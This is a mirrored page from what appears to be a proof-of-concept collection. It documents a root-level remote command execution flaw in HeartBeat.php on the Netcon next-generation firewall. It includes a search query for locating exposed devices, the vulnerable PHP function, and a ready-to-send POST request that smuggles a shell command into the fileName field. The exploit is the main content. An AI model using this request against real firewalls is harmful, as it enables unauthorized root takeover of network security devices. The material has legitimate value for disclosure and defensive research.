mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 20:36:14 +00:00
62 lines
1.8 KiB
Markdown
62 lines
1.8 KiB
Markdown
|
# 网康 下一代防火墙 HeartBeat.php 远程命令执行漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
网康 下一代防火墙 HeartBeat.php文件存在远程命令执行漏洞，攻击者通过构造请求包即可获取服务器Root权限
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
奇安信 网康下一代防火墙
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="网康科技-下一代防火墙"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登录页面如下
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
出现漏洞的文件 applications/Models/NS/Rpc/HeartBeat.php
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
public function delTestFile($fileName){
|
|||
|
|
if(dirname($fileName) == '/var/www/tmp'){
|
|||
|
|
$cmd = "/bin/rm -f {$fileName}";
|
|||
|
|
putenv("CMD=$cmd");
|
|||
|
|
$msg = shell_exec('/var/www/html/scripts/exec_cmd');
|
|||
|
|
}
|
|||
|
|
return time();
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
调用方法 delTestFile，fileName参数可控，调用的 exec_cmd 文件为Root权限文件，构造请求包进行命令执行
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /directdata/direct/router HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
Connection: close
|
|||
|
|
Content-Length: 179
|
|||
|
|
Cache-Control: max-age=0
|
|||
|
|
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
|
|||
|
|
sec-ch-ua-mobile: ?0
|
|||
|
|
Content-Type: application/json
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|||
|
|
|
|||
|
|
{"action":"NS_Rpc_HeartBeat","method":"delTestFile","data": ["/var/www/tmp/1.txt;id>2.txt"],"type":"rpc","tid":11,"f8839p7rqtj":"="}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
访问写入的文件
|
|||
|
|
|
|||
|
|
|